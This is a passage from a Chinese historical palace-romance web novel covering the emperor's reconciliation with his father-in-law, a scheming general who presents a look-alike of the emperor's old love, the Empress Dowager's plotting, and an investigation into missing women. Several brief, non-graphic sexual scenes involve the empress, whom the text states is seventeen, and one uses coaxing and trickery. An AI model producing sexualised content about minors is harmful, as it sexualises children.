安慰人的同时,元栩已开始耸腰,很快沈若辞连贯的哭声又被撞得支离破碎,绵绵长长。 满室旖旎生香。 晚些时候,元栩终于将前些天堆积下来的事情处理完毕。他从殿中出来时已换上一身常服,手里提着一壶酒,叫上严从晖便前往相府去。 门打开时见到元栩那张脸,沈墨下意识眨了眨眼睛,怀疑自己老眼昏花了。等确认确实是皇帝来访之后,才满眼期待地望向元栩身后,发现沈若辞没有跟着一起来,眼中失望之色不加掩饰。 元栩此时身着常服,身姿挺拔颀长,他从严从晖手中接过酒瓶,道,“朕来找沈相喝一杯。” 白天沈墨在龙泽殿门口吃了闭门羹,想必元栩是为此事而来。 严从晖替二人倒好酒后就出去了,元栩举起酒杯,恭敬道,“这些日子辛苦沈相了,朕敬您一杯。” 沈墨拿起杯子与他对碰,“皇上言重了,都是臣的分内之事。更何况臣还要感谢皇上将沿沿寻回,免她落入歹人之手。” 元栩郑重道,“沈相放心,沿沿既是朕的人,朕定会护她周全。” 沈墨沉默着喝酒,望着元栩日渐沉稳的帝王气度,心中生出几分欣慰之意来。 自昨日从连骁口中得知他对沈若辞有意之后,沈墨看元栩不再是一无是处。至少皇帝年纪轻,样貌好,这点与女儿颇为相配。再者两人都是他看着长大的孩子,他作为长辈,实则更能接受元栩。 连骁那老王八,哪里配得上女儿,竟敢大言不惭想要他的女儿,做梦! 只要元栩能真心对女儿好,沈墨定会全力护住他二人,不给旁人有任何钻空子的机会。 各种原因加持之下,沈墨看元栩这个女婿的的态度,由最初的你死我活、完全无法接受,到现在的勉强还算看得过去,他开始向元栩敞开心扉,“沿沿真心待皇上,也希望皇上能真心待她。臣年纪大了,不想再经历大风大浪的生活,只求你二人能平安顺遂。” 元栩意识到此时对方是以长辈的身份与他说这些话时,心中喜不自胜的同时,也生出点莫名的愧疚来,“是朕疏忽,日后会多带沿沿回来相府。” 听他能这么说,沈墨内心还是很满意的,心道元栩果然没有辜负他的厚望,“皇上政务繁忙,无需来回奔波。只要您与沿沿二人能和和美美,臣便知足了。” 从相府出来后,元栩心情无比轻松。他跟沈墨的关系,二人都没有刻意去改善,却意外都在朝着好的方向行进。 得到岳父的认可后,元栩马不停蹄地赶往雪辉宫。 雪辉宫里,沈若辞在等元栩。 白天在皇帝书房,一回过后,他喘着粗气,看向自己时意犹未尽的表情仍历历在目。这让她以为元栩今夜肯定会过来留宿,哪知等到天都完全黑透,等到她都开始犯困,仍不见半个人影。 沈若辞猛然想起,他该不会去别的妃子那里了吧?后宫中又不止她一个女人,他想要纾解,不是只能来她的雪辉宫。 她从前未曾去想这一点,他爱来来,不来她也乐得自在。可今晚,她竟然在等他。 沈若辞当即叫锦云伺候她就寝,她才不白等人呢。 元栩赶到雪辉宫时,见榻上帐幔已放下来,就知道沈若辞已经上床休息。他径直去了浴间,洗干净身子后才钻到榻上去。 上床后,他轻唤一声“沿沿”,见沈若辞不为所动,就继续说道,“朕刚从阿爹那里回来。” 一听到沈墨,沈若辞眼皮子一掀,翻身就从床上坐起来,“皇上去找阿爹什么事?” 元栩睨她一眼,“沿沿不是睡了吗?” 她是该睡了,可一合上眼睛就想到元栩去别的妃子那里,那场景在脑中挥之不去,闹得她都睡不着了。 当然,这原因她不会让元栩知道,只好将责任推到他身上,“刚才是睡着的,但是皇上又把臣妾叫起来了。” 元栩刚沐浴完,身上还带着湿意,他拉着沈若辞躺下来,牵着她的手放在自己胸膛上,“白天阿爹不是来过吗,我们没见到面,今晚朕就带了一壶好酒过去跟他赔罪了。” 沈若辞很吃惊元栩何时变得这般通情达理的,为表达歉意竟纡尊降贵亲自跑一趟相府去给父亲赔罪,这哪里是父亲口中那匹桀骜不驯的狼崽子能做出来的? 她很好奇父亲看到元栩时的反应,“阿爹没有被吓到吧?” 元栩笑了一声,“没有,阿爹比沿沿淡定多了。” 被沈若辞瞪了一眼之后,元栩又继续说道,“阿爹把朕请进屋里,跟朕一起喝酒,还对朕说了一些话。” 沈若辞的手被他握在掌心里,她回握住对方的手,“阿爹说了什么话” 元栩望着床顶,双眸亮亮的,语气带着些许憧憬,“沿沿,阿爹说希望我们两个和和美美,做一对恩恩爱爱的夫妻。” 沈若辞“……” 沈墨在背后骂了元栩十几年,她无法想象父亲是以何种表情说出祝福的话来的,她难以置信地追问道,“这话真是阿爹说的?”她翻个身,直接趴到元栩胸膛上,看着他的眼睛问。 元栩脸不红心不跳,“大概意思是这般。” 沈若辞从他身上下来,躺回自己的位置。如今连最看不惯元栩的父亲都开始祝福她们二人了,以后她该以什么态度去面对这段婚事呢? 元栩用手臂撑着脑袋,侧躺着俯视她,目光别有深意,“沿沿是不是要听岳父的话,不要辜负他老人家的厚望?” 沈若辞下意识回道,“怎么才算不辜负呢?” 她从自己的思绪中抽离,回头就对上他光洁健硕的胸膛,那些蕴藏力量的肌肉线条让沈若辞双颊不由得发热。 明明穿着衣裳时清清瘦瘦的一个人,脱了衣裳内里竟这般紧实壮硕,沈若辞想这大概是习武之人的特点吧。还是做皇帝的人呢,衣裳也不好好穿,衣带也系得松松垮垮,不怕着凉吗?她刚想提醒元栩他大病初愈,要注意身子,就听他暗沉的嗓音拂在耳边,“那就先从今夜的“恩爱”开始吧。” 作者有话说:沈墨:连骁老王八。 元栩:阿爹说得对。 连骁……《 》 80-90 第81章 当夜元栩以要听岳父的话为缘由, 半哄半骗地多要了沈若辞两回。在他不知节制地准备开始第四回 时,沈若辞颤着身,用哭哑了的声音质疑父亲是否真的说过这般话时, 元栩才忍下欲-念,心虚地收了势。 生病这些日子里积攒起来的存粮, 在今夜如数交付给沈若辞。畅快地释放过后,身心皆是舒坦, 元栩搂着人一觉睡到天亮。 翌日元栩刚下完早朝,严从晖疾步而来, 跟在皇帝身后面色凝重,低声禀道, “皇上, 袁子逸出事了。” 元栩不由得放慢了脚步, “何事?” 前些日子元栩与沈若辞回盛京时, 一方面因人手不足,无法腾出人员去押送他, 另一方面因他刚受过严刑, 强行上路恐怕会死在路上。元栩还没想让他这么轻松地死去,便让他在驿站多住几天了才出发。 哪知人才刚出郾城,就被神秘人劫走了。 元栩并不在意让袁子逸被劫走一事,毕竟他受刑后人已半死不活, 就算救回来日后也是废人一个,不值得他放在心上。但是何人出马去救袁子逸的,这点倒是很值得查上一查。 他沉吟了片刻, 下令道,“去查袁国公,看看他这些日子都去了哪里, 见了谁,一个也别放过。” 严从晖领命而去,元栩仍在想这件事,看来他一直是小瞧了国公府这一家子大大小小。从老到小,各有异心,个个都是黑心肝,真是有趣的一家人。 沈若辞真是要庆幸没有进他们家的门,否则日后都不知道该站谁了。 这点说到底还要感谢他,元栩正沾沾自喜,那头岳常安也带来一个消息,“皇上,虞城那边传来消息,赫王现已从虞城出发回来探望太后娘娘,下个月上旬便能抵达盛京。” 薛太后惦念元赫也不是一天两天了,前阵子她来问是否准许元赫回盛京来看看她这个亲娘,当时元栩不置可否,没想到薛太后二话不说就当他是同意了,回去后开始张罗元赫回京的事宜。 也不知道是薛太后急着想见儿子,还是元赫有什么意图一定要进京,反正此事他既不支持也不反对,就是要看看这对母子究竟想要做出什么事来。 再说兄弟二人分别这么久,见一见也是好的。元栩回想了一下,自元赫受封去了虞城,三年来兄弟二人未曾见过一面。若不是当年薛太后的野心过盛,他跟朝臣也不会那么快要元赫前去封地。 元栩看向远方,感叹道,“三年了,也不知道元赫现在长什么样。”毕竟三年前他还是个十四岁的小少年。 岳常安接道,“那年赫王走的时候才十四,如今回来也才十七。十七岁,恰好跟皇后娘娘同岁,尚有三年才弱冠。” 元栩心头莫名泛起一丝异样,没想到元赫竟与他的皇后同岁。 岳常安并无察觉元栩神色那点微妙的变化,他将密探快马加鞭送来的信件呈给元栩,“皇上,这是虞城那边送过来的密报,请您过目。” 元栩接过来,快速地浏览一番,无外乎是元赫出发的具体时间,带了多少人,多少物件等等,另外还附带了一张元赫的画像。 “这些人做事倒是周全。”说话间元栩已回到书房里,他将画像平铺在书桌上,端详起画中人的相貌。 他跟元赫兄弟情义一般,算不上多好,也算不上差。反正不温不火,可有可无。可当此时看到画像上与他样貌有五分相似的少年,元栩还是怔愣住了。 从前有人说元赫与他像,他一向对这种话嗤之以鼻。如今也不免承认,确实是出自一家血统,五官面貌一眼就能看出相似之处来。 元赫此番回京,究竟存了什么心思,尚未有定论。倘若真的只是如他所说就是来看看太后,那他这个做皇兄的当然表示欢迎。若是暗地里要搞什么手脚,他也绝不姑息。 在他入神地看着元赫的画像时,岳常安将一叠厚厚的画像呈了上来,轻声禀道,“皇上,这些都是您前些日子要老奴去收集的,盛京里那些纨绔的画像,现已整理出来,您看看。” 自昨天沈若辞主动来与他说明那些痕迹的事之后,元栩感受到她对自己的在意,心中的芥蒂也随之烟消云。 此时再这些画像,他想既然都做出来了,也不妨拿过去让她认认人,免得辜负手下那些人用心整理的心血。 岳常安将画像整整齐齐地摆在桌面上,元栩随手翻看了几张,神色鄙夷地看向岳长安,“这些是挑过的?” 岳长安无比肯定地保证道,“挑过了,皇上。那些个歪瓜裂枣,五大三粗的都给挑出来了,剩下这些平头正脸,斯文俊秀的。” 元栩又继续往下翻了几张,都是些平平无奇的货色,他索性将手掌往桌面一盖,覆住那叠人像,而后起身,“拿好,跟朕去一趟雪辉宫。” 岳常安有些迷糊,不知道拿这些纨绔的画像去皇后娘娘那里是什么意图。但既然皇上发话,他只好照做,当即抱上那叠人像图就跟在元栩屁股后面。 雪辉宫里,沈若辞正在书桌前作画。画纸上已勾勒出年轻男子俊朗流畅的轮廓,她右手执笔,手腕悬于半空中,待笔尖的墨汁汇聚成珠,滴落在洁白的宣纸上时,她才蹙眉回神。 阿茉以为沈若辞在思考如何落笔,待发觉她实际上在走神时,已为时已晚。好好的一幅画……毁了。 在阿茉的叹息声中,沈若辞只淡淡看了一眼画,不甚在意地搁下笔,而后起身走到软榻上,踢了鞋便卧倒在棉枕上。 皇后娘娘似乎看起来心绪不佳。 阿茉一头雾水,明明昨夜皇帝忙完事情后,夜深了还特意赶来雪辉宫。二人相处融洽,夜里还叫了三次水。她从小姐的声音听出来她是快乐的,怎么此时又这般烦闷的模样? 沈若辞确实很心烦,如今元栩频繁地出现在她的生活中,这半年来他无孔不入地入侵着她的人生。雪辉宫里留下她印记的同时,也什么他来过的 等到了雪辉宫,元栩发现书桌上摆着作画的一应用具,而沈若辞却侧躺在软榻上不声不响,他挥手屏退了想要行礼的宫人,径直走向书桌前。 画纸上墨迹未干,画上是一张男子的脸,面容轮廓已精心勾勒出来,眉眼定位清晰但细节尚未完善,留白处一团“意外”的墨汁跃然于眼下,他一眼就看出端倪,轻轻地咳了一声。 听到元栩的声音,沈若辞如梦初醒般地坐起来,这才想到自己画坏了的那副画,她顾不上穿鞋子,光着脚踩在地衣上,急着要去收起那幅画。 走出几步后这才发现元栩已经看到了,沈若辞颓丧的站在原地,嗔怪道,“皇上来了怎么也不说一声呢。” 元栩看起来颇有兴致地品鉴着她的画,“沿沿画的是什么人,怎么还怕朕看到呢?” 沈若辞突然想起那画上的人物只画了一半,他就算再认真研究,想必也看不出来她画的是谁,于是她安心地退回到软榻上,理直气壮地回道,“随手画的,还没想好画谁呢。” 说完又窝回方才的位置。 元栩朝门口处的岳常安使了个眼色,他立马心领神会,将画像递给锦云要她送进来。 锦云听命将一叠画像拿到书桌上,又静悄悄地退了出去。 元栩走到软榻边,俯身将沈若辞从榻上捞起来抱在怀里,轻轻松松将人抱到书桌前坐下来,“沿沿既然喜欢画男子的画像,不如替朕看看这些个画像上的男子,哪个画得更好。” 第82章 沈若辞被他抱在怀里, 手掌被他带着去翻动桌面上的画像。 “如何?”元栩与她讨论的明明是画中人,而他的眼神却始终停留在沈若辞脸上,观察着她脸上每个细微表情的变化。 沈若辞并未察觉, 不疑有他地认真翻看每一张画像。大概翻了十张左右,她停下手上的动作, 回过头去看元栩,说出自己的见解, “人物轮廓清晰,线条流畅, 笔墨传神,想必是出自专攻人像的画师之手。” “不错。”元栩继续带着她的手去翻画像, “沿沿再看看这些世家公子哪个更俊朗, 哪个更合沿沿的眼缘。” 沈若辞不明就里地看向画像上的年轻男子, 边看边评价道, “相貌还算周正,大都中上之姿。若是要挑出特别俊朗好看, 恐怕有些难。” 元栩锲而不舍地追问, “就没看到哪个比较合眼缘的?” 沈若辞这会子察觉出异样了,好端端非要她挑这些男子做什么?她从元栩掌中抽出手,“皇上问这个做什么?” 她觉得元栩的行为很怪,像是在给深居闺中的未婚女子择偶。但是她明明已经成婚了, 元栩还是她的丈夫。哪有丈夫给妻子看其他男子的画像,还非要她挑出合眼缘的。 沈若辞意识到什么,猛地抬眸望向元栩, 他该不会是…… 某种令人难以置信的想法在她脑中一闪而过。此刻她尚坐在男人的怀里,他的胸口贴着自己的背,她能感受到对方有力的心跳声。 明明二人还这般亲密无间, 他心中可以毫无芥蒂地与她说此事? 她有同意了吗? 沈若辞追问,“皇上这是何意?” 元栩坚持要她往下翻看,“沿沿看完先。” 沈若辞心不在焉地被他带着手去翻看每一张画像,她脸上的表情始终淡淡的,眼中更是没有任何起伏的情绪。 直到翻到最后一页,她的眼神微微松动,继而眼中有波澜腾起,她挣开元栩的手,将画捧在手中细细端详一阵之后,才颇为好奇地问道,“这位公子,是谁?” 元栩迅速捕捉到她对此人有不同于其他男子的反应,他仍盯着她的脸,假装不解地问道,“怎么了?” 沈若辞眼中有迟疑之色,将画送到元栩眼前,“很像臣妾从前认识的一位故人。” 元栩的眼神从沈若辞脸上慢慢地转移到画像上,待他看清画上何人时,简直急火攻心。 这人……竟会是元赫! 元栩冷笑一声,他咬牙切齿地看着沈若辞的眼睛,“这人是朕的皇弟,元赫 。皇后跟他很熟吗?” 方才元赫的画像放在桌面上,被混在这些纨绔的画像中一并送了过来。 事情倒是赶巧,沈若辞竟还认识对方。 沈若辞将画像搁回书桌上,顺了顺裙摆,从元栩怀中起身,“不是很熟,认得而已,并不知道他是谁。” 她虽有些吃惊元赫堂堂大魏皇子会去医馆学艺,但这些都是无足轻重的小事,与她关系不大。元栩让她看这些男子画像的意图,才是她真正在意的。 她就算不与他走下去,也没想过这么快再嫁啊。明明昨夜,皇帝还说要与她做一对恩爱夫妻,这才过去一天,对方又变换心意了,是吗? 她觉得元栩太欺负人了,当初强硬地要她进宫,如今又急着将她送出去。她转身过去,压下心头的怒气,极认真地与他说,“这些人,没有一个能合臣妾的眼缘。” 没有! 元栩心中早就有答案了,她在翻看这些纨绔的画像时,眼中始终是风平浪静波澜不惊,直到看到元赫的画像,才终于起了波澜。 他不确定沈若辞只是单纯因为见到一位故人而诧异,还是因为内心某些被掩埋的记忆唤起她情绪的变化。 这两者间哪个才是最真实的原因,恐怕此时的沈若辞也无从得知。 沈若辞理智上觉得,元栩不该是能做出把她送人这般行径的人。那日在郾城堤岸上的杂草丛里,他挥开掩盖着她的杂草时。她分明记得,与他眼神对接的瞬间,他眼中骇人的寒意骤然消融,顷刻间恍若春日暖阳下冰雪融化后的溪流,温柔得能溺死人。 当时她明明是浑身僵硬,连脑子都迟钝起来,可这一幕所带来的冲击,在她退热之后,仍能回想起来并清晰地感知到。 他绝不是这样的人! 沈若辞刚转身决意亲口问他究竟是何意时,外间传来岳常安的声音,“皇上,连将军有要事求见。” 元栩明显察觉到到沈若辞有话要说,他当即回道,“不见!就说朕没空。” 沈若辞被岳常安这么一打岔,突然没了一鼓作气想要问出缘由的勇气,她平复了心绪,淡淡地看向元栩,已然没有方才的冲动。 屋外再次响起岳常安的声音,“皇上,连将军说他有重要的事情要与您说,说是您之前在找一位故人,如今他找到人了……” 元栩起初一直不为所动,直到听到岳常安说出“故人”二字,他再无法淡定了,腾地一下从圈椅上站起来径直走向外间,狐疑道,“他当真是这么说的?” 岳常安身旁前来传话的小太监连连点头,就听原本没空的皇帝改变了主意,“走,朕这就听听他要讲什么。” 他急急走出去几步,才敷衍地回头望向沈若辞,“皇后好好休息,朕去去就回。” 沈若辞还在思索如何当面与他把话说清楚的,问问他让她看这些男子的画像究竟是几个意思。奈何皇帝就这么走了,她想问也没有机会了。 本来心情就不好了,这会子更加烦闷了。 那头岳常安笑眯眯地将桌上的画像都收起来,抱到怀里跟到皇帝身旁,边走边问,“皇上,这些人要怎么处理啊?” 元栩大步流星,目不斜视,“全部送到军营历练,三年内无朕的允许不准私自离营。” 岳常安心里倒吸了一口凉气,这些人大都是盛京里非富即贵的子弟,平日里吃喝玩乐、养尊处优,骤然被丢到军营那种残酷的地方,而且一去三年,够他们受了! 等到了龙泽宫里,连骁满面春风地给元栩行礼。 元栩的目光在他脸上停留了一瞬,便悄无声息地移开。 “舅舅这么急来找朕,究竟是有什么要紧事?” 连骁知道对方在明知故问,却不禁暗自得意起来,“臣有一个好消息要告诉皇上。” 元栩露出一丝期待的眼神。 连骁更加志得意满,“皇上还记得当年那位民间民间女子吗?臣找到她了!” 哪知元栩语气却是淡淡的,“舅舅说的是何人,朕不记得了。” 连骁明显从元栩眼中看到了惊诧之色,知晓对方不过是嘴硬,他循循善诱道,“皇上不记得了吗?那女子说她名唤阿言,曾与皇上在医馆相识。之后与皇上失散并非她本意,她是有苦衷的,绝非故意离开您。” 元栩听得入神,神色也随之起伏,并非如他口中所说什么都不记得了。 连骁笑了笑,道,“阿言是臣在一次外出时偶然遇见的,那会子她一个人正无助地被地痞流氓欺负,臣见她可怜便救下她。后来才得知她竟是皇上当年钟情的那位民间女子,不过臣只是听她说个大概,眼下人就在宫门口,具体情况皇上还是宣阿言入宫,让她当面与您讲述,想必更加详实。” 元栩听完非但无半分惊喜的情绪,反而质问道,“事情倒是挺巧。不知是那位阿言主动说要进宫见朕,还是舅舅您窜掇她入宫的?” 连骁微微一怔,而后脸上笑意瞬时消失无踪,“既然皇上不相信臣,臣也不愿意多管闲事,这就让人将那位姑娘送回去。” 元栩却在这个时候露出了笑容,“舅舅何必较真呢。人都在宫门口候着了,来都来了,总不能让人白跑一趟。劳烦舅舅将人接进来,朕亲自瞧瞧。” 连骁就知道元栩不会放过这个见人的机会,方才说将人送回去,不过是故意拿话诈他。没想到元栩当即被唬住了,立马主动提出要见人。 他按捺内心的喜悦,三步做两步赶往宫门口接人。 这头沈若辞听说连骁出宫去了,她想与其自己烦闷,不如干脆去找元栩问清楚。 当她带着锦云来到龙泽殿前,才得知严从晖正与皇帝在殿中谈事情。 沈若辞思考着要不要留下来等元栩的时候,连骁刚好带着那位名唤“阿言”的女子来到殿前。 见此场景,岳常安顿感后背一凉,为避免引起不必要的误会,他上前同皇后娘娘提议道,“娘娘,这里风大。不如先到侧殿中休息,等皇上忙完了,老奴再去通知您。” 沈若辞不想待在冷冰冰的内殿,那样会让她更心烦,她直接拒绝道,“不必了,既然皇上在忙,本宫就先回去好了。” 她才走出一步,连骁故意开口叫住沈若辞,“皇后娘娘请留步。” 沈若辞从方才看过画像后就一直魂不守舍,直到连骁的声音在耳畔响起,她才注意到来人。 “连将军。”沈若辞看向连骁,刚想问他有何事时,就见连骁朝左侧错开身来,露出身后头戴帷帽、娇娇弱弱的女子来。 她猛然想起方才在雪辉宫里,岳常安提及连骁找到一位什么元栩的“故人”。当时她没有放在心上,赶巧在这里遇见了,没想到对方居然是位女子。 连骁的目光一瞬不瞬地停留在沈若辞艳若桃李的娇靥上,他唇齿轻启,语气轻慢,“阿言,还不见过皇后娘娘。” 阿言依言走上前来,她朝沈若辞鞠了一躬,“民女参见皇后娘娘。” 话音刚落,她伸手摘下帷帽,露出一张与沈若辞有五分相似的脸庞。 第83章 阿言垂眸而立, 身形单薄瘦弱,站在风中宛若一朵无枝可依的白荷。 “娘娘!”锦云怔怔地望着阿言的脸,跟她家皇后娘娘太像了, 她忍不住叫了沈若辞一声。 饶是岳常安见惯世面的,也不由得深吸一口气, 皱起了眉头。 沈若辞也在拧眉看她,这张脸虽与她只有五分相似, 但在她看来,却是万分熟悉。按理来说, 强烈的熟悉感会让人萌生亲切感,可阿言给沈若辞的感觉是陌生疏离的, 让人难以靠近的。 阿言虽垂着头, 但从周围人微妙的反应中, 也能察觉出他们对自己这张脸十分感兴趣。这让她底气十足, 不由得以极小的弧度慢慢扬起自己的下巴,直到能与其他人平视才停下来。 早在入宫之前, 连骁就已经告诉过她, 皇后娘娘实际上并不得宠。她能坐上后位,完全是因为有个位高权重的父亲和一张与她有五分相似的脸,那时阿言心底里还为能拥有这张脸而沾沾自喜。 可连骁也没有告诉她,这位皇后娘娘美貌如斯。她那种美, 精致到让人想要小心翼翼呵护起来,生怕一离手就要瞬间碎掉那般。 究根究底,哪怕他不说, 她早该知道的才对。毕竟有能力让这位铁血将军念念不忘的,总得是有过人之处。 连骁注视着沈若辞的侧脸,慢慢地引导她, “皇后娘娘是不是觉得有些事过往没想明白的,此时此刻见到阿言这张脸,就都豁然开朗,一下子想明白前因后果了?” 沈若辞不明白连骁为何要跟她说这些话,在她错愕地望向对方时,连骁像是一早就知晓她心中所想,“阿言姑娘,便是当年皇上钟意的那位民间女子。” 这一切的费解,都始于最初沈若辞对元栩的过去完全不在意,未曾有过想去了解的念头,以至于今日面对旁人口中——他曾经心心念念喜欢过的旧人,竟不知其中真假。 沈若辞凝着那女子的脸,清丽淡雅,身姿纤瘦,与她的姝丽明艳显然不是同一挂的。 而连骁话里话外,无不在强调皇上如今给她的恩宠,不过是因她与阿言长得像,她是沾了阿言的光。 如果连骁的话不假,如今正主回来了,皇帝要给她重新找个归宿把她送走,说起来似乎就合情合理了。 岳常安眼见皇后娘娘的脸色越来越不好,试图挽救道,“连将军,皇上正在忙呢,请带这位姑娘到偏殿稍坐片刻。” 连骁哪里愿意放过任何能跟沈若辞独处的时间,他朝岳常安摆摆手,示意他不要多嘴。眼神却像粘在沈若辞脸上一般,贪婪且不加掩饰。 连骁突然道,“皇后娘娘真的可以考虑一下连某。” 沈若辞还在想考虑他什么的时候,连骁眼神炙热直白起来,“皇后娘娘觉得连某如何?连某虽未曾娶亲,却也不介意二嫁的女子。” “……” 在场的人都沉默了。 沈若辞想的却是,难不成皇帝连这件事都告诉连骁了吗?他怎么可以如此武断地决定她的去留呢? 连骁误以为沈若辞在考虑自己的提议,迫不及待地与她确认,“如何?” 沈若辞心烦意乱,根本没心思应对这桩烂桃花,她脱口而出,“不如何,本宫不喜欢的年纪太大的!” 她仍对元栩的所作所为耿耿于怀,太过分了!她抬头朝元栩所在的方向瞪了一眼,才气冲冲地转身离开。 龙泽殿内,严从晖将调查的结果一五一十地禀告给元栩。前些天袁国公确实接触了一批神秘人,经过层层筛查后,这些神秘人极大可能是薛太后的人。 元栩不觉意外,元赫很快就到盛京,届时薛太后肯定会有更多动作。 凡事有备无患,元栩命严从晖暗地里召集兵力,随时防范薛太后和元赫的野心。 “还有一事,近来盛京里频繁有女子失踪,大理寺那边派人去查了好些天,依旧一无所获。朕怕这个当口出这种事,是有心之人故意而为之,就为了引起民众慌乱,届时再借此事来大做文章。” 严从晖也从同僚口中听闻此事,他主动道,“臣会增派人手协助大理寺捉拿案犯。” 元栩点头,“前两天朕收到程将军的奏折,她主动请缨要去调查这期案件,朕应允了,你与她沟通一下,尽快解决此事。” 二人商讨完应对的措施后,严从晖正准备告退,元栩叫住他,“告诉岳常安,请皇后进来,舅舅先在殿外等一下。” 严从晖出了殿外就将元栩的话转告给岳常安,岳常安下意识看向沈若辞离开的方向,皇后早就走远不见踪影了。他感觉自己一个头有两个大,只好硬着头皮进了殿内,“皇上,皇后娘娘知道您在忙,怕打扰到您,等了一会就先走了。” 元栩顿觉一阵失落,片刻之后还是收起情绪开口道,“去请舅舅进来吧。” 连骁带着阿言进殿面见元栩。 阿言垂着头跟在连骁身后,这些日子连骁教了她很多规矩,也告诉她很多关于皇帝的旧事,她全部都认认真真的地记在脑中,半点不敢疏漏。 行礼过后,阿言听到皇帝的声音,“起来吧。” 声音清清冷冷的,却如玉石般温润富有质感。 阿言感觉自己的心口颤了颤,她回想连骁教她的步骤,垂着眼眸缓缓起身。 时隔三年,元栩再一次见到那张曾经令他魂牵梦绕的脸。 要说从前他对这张脸有多喜爱,此时他的心头就有多不适。 他只看了一眼,就将目光移开,转而看向连骁,“舅舅还有事吗?怎么还不回去?” 连骁错愕一瞬之后又恍然大悟,料定元栩此刻与旧人相逢,不想有旁人在场打扰,影响到他二人互诉衷肠。 想到这层缘由后,连骁觉得还需趁热打铁,“皇上决定将阿言安置在宫中吗?” 元栩道,“怎么?舅舅不同意吗?” 连骁当然是再同意不过,这结果就是他想要的。 可他嘴上却不能这么说,装模作样道,“这事还是要问一下阿言姑娘,若是她愿意,臣自然没有意见。” 阿言听连骁说到自己,娇羞地垂下头去,“民女自然是愿意的。” 元栩拿眼神指了指阿言,问道,“舅舅听到了吗?” 连骁识趣道,“臣先告退了。” 连骁前脚出了殿门,后脚元栩就命人将大殿的门关上。他回头望向紧闭的殿门,嘴角露出一抹耐人寻味的笑意。 殿内只剩下元栩与阿言二人。 阿言莫名感受到一股压迫感,她定了定神,才按照连骁教给她的,抬起一双眼眸楚楚可怜道,“皇上,您还记得民女了吗?” 元栩回答得毫不犹疑,“当然。” 在阿言雀跃的目光中,皇帝眼神冰冷,伸手指了指严丝合缝的大门,薄唇微启,“看到那扇大门了吗?去,过去那里跪着。” 阿言闻言如遭雷轰,她心中一切美好的幻想霎时间化为乌有,她一下子红了眼眶。 元栩向来是个没耐心的人,他再度开口,“要朕说第二遍吗?” 皇帝的声音极为吓人,阿言浑身颤抖,连滚带爬地跪倒在门后。 三天后,元赫抵达盛京的日子近在咫尺。这些天来,元栩忙得脚不沾地。但在薛太后眼中,皇帝白天关起大殿门与那位民间女子在里头厮混,夜里又带着人到宫外玩乐。如此下来,都快要成为分不清东西南北的昏君了。 薛太后觉得可以趁此机会拉拢一下沈相,但碍于沈墨与她素来不和,她决定从沈若辞这边入手。 皇帝已经好几天没去过雪辉宫了,薛太后打着关心人的名义,将沈若辞叫到了她宫中。 薛太后见到沈若辞之前,本想客套地夸她两句,可当人真的出现在她眼前时,她才发觉自己根本客套不起来。 与她的渐渐枯萎不同,沈若辞就像花园里正在绽放的、最艳丽的鲜花。不管何时见她,都会发现这朵鲜花较之前更为美艳动人,她叹息道,“皇后真的是越来越漂亮了。” 沈若辞心想太后语气惋惜成这个样子,真的是在夸人吗? 薛太后似是不经意地说道,“皇上近来又开始与当年那位民间女子厮混了,可怜皇后独守空房了。” 见沈若辞并无什么反应,薛太后幽幽地问道,“皇后不会是还不知道吧?” 这些天皇帝的所作所为,沈若辞并非一无所知。那日她本打算去找元栩,人还没走到殿门口,远远地就见那位阿言姑娘满头大汗,浑身虚软无力地被两位宫女从殿中搀扶出来。 那一幕落在眼里,沈若辞慌得当场背过身去。进宫这么长时间,她不可能还不明白,阿言这副模样是经受过什么。 可她从前不介意,甚至怂恿元栩要雨露均沾,如今有什么立场去质问他呢? 沈若辞并不想与薛太后说她的心事,她只是心情低沉地摇摇头。 薛太后一眼就看破她的伪装,安慰道,“皇后也无需难过,本宫的赫儿前些日子已从虞城出发前来盛京。不出几日,皇后就能见到他了。赫儿是个重情重义的人,断不会委屈皇后的。” 沈若辞向来知道薛太后并不忌惮元栩这个皇帝,可她不为自己考虑,也该为元赫做打算。她这般口无遮拦,就不怕害了元赫? 薛太后真的只是逞一时口快吗? 沈若辞觉得也不尽然,自古亲兄弟间为皇位争得你死我活的不在少数,就怕元赫也有这个心思。 她从前不想卷进元栩跟太后二人之间的争斗,向来是装傻充愣,哪个也不想得罪。 可今非昔比,若是有人真的要动摇皇权,要内乱,要苍生子民不得安生,她安能坐视旁观? 沈若辞再抬起眼时,已无方才的柔弱可欺,她眼神坚定,神色从容不可侵犯,“太后娘娘慎言,臣妾是皇上的皇后,是赫王爷的皇嫂。” 薛太后盯着沈若辞的脸看了好一会儿,仿佛头一回认识这位儿媳妇,半晌之后她才自嘲地笑出声来,“虎父无犬女,虎父无犬女啊。” “本宫之前怎么不明白这个道理呢?是皇后掩藏得太深,还是本宫老眼昏花没看清楚呢?” 面对薛太后的嘲弄,沈若辞不甚在意,“臣妾只是实话实说,没有想忤逆母后的意思。” 什么是忤逆,方才沈若辞说出来的就已经是忤逆了。薛太后眼中凶光毕露,“皇后真的决定要站皇帝了吗,不等见了赫儿再做决定吗?” 沈若辞不欲与她周旋,直言道,“母后这个问题若是问的皇权,那臣妾站的是天下子民,而非单纯他们兄弟二人中的任何一个。” 薛太后却从沈若辞的话中听出一丝可进可退的味道,“本宫从前真没看出皇后原是有大爱之人啊。” 夸赞的话说出嘲讽的意味,沈若辞不欲与她多言,站起身来朝薛太后行了一礼,“臣妾身子不适,先告退了。” 宫外程于秋近来正为良家女子频频失踪被害一事焦头烂额。这种毫无针对性又有组织的犯案,几乎无法预料到下一起案件会在哪里、在什么时候再度发生。 程于秋破案经验尚浅,单靠一腔热血结果只能屡屡碰壁。 这两日她跑了几趟大理寺,跟几位老前辈探讨了案情之后,决意今夜去案发现场看看。 元琛近来闲得发慌,见程于秋有事忙,便打着给她做下手的名号,跟着她四处跑。 此时月上中天,元琛打着哈欠,睡眼惺忪地问道.“这大半夜的出门,四处黑漆漆的,能查到什么呢?” 程于秋自有她的坚持,“容王殿下若是困了,大可不必跟来受罪。” 元琛只好闭嘴。 程于秋在上一个失踪遇害的女子家里附近绕了几圈。失踪的女子大都是小富甚至中产之家,她们平日是基本待在闺阁之中,失踪的时候也是在家里被劫。白天踩点,夜里犯案,程于秋自认为目力极佳,此时也难免分辨不出哪家是白天里来过的。 那些人是如何记住的呢? 她从屋顶上跑了一圈之后,一无所获地下来。 元琛却看着她的鞋子,提醒道,“程将军的鞋子在发光。” 程于秋下意识低头,果然发现自己鞋子上泛着绿光。她脱下鞋子,用手指撵了一点绿光,凑到眼前一看,又往鼻间一闻,道,“应该是黄磷。” 黄磷! 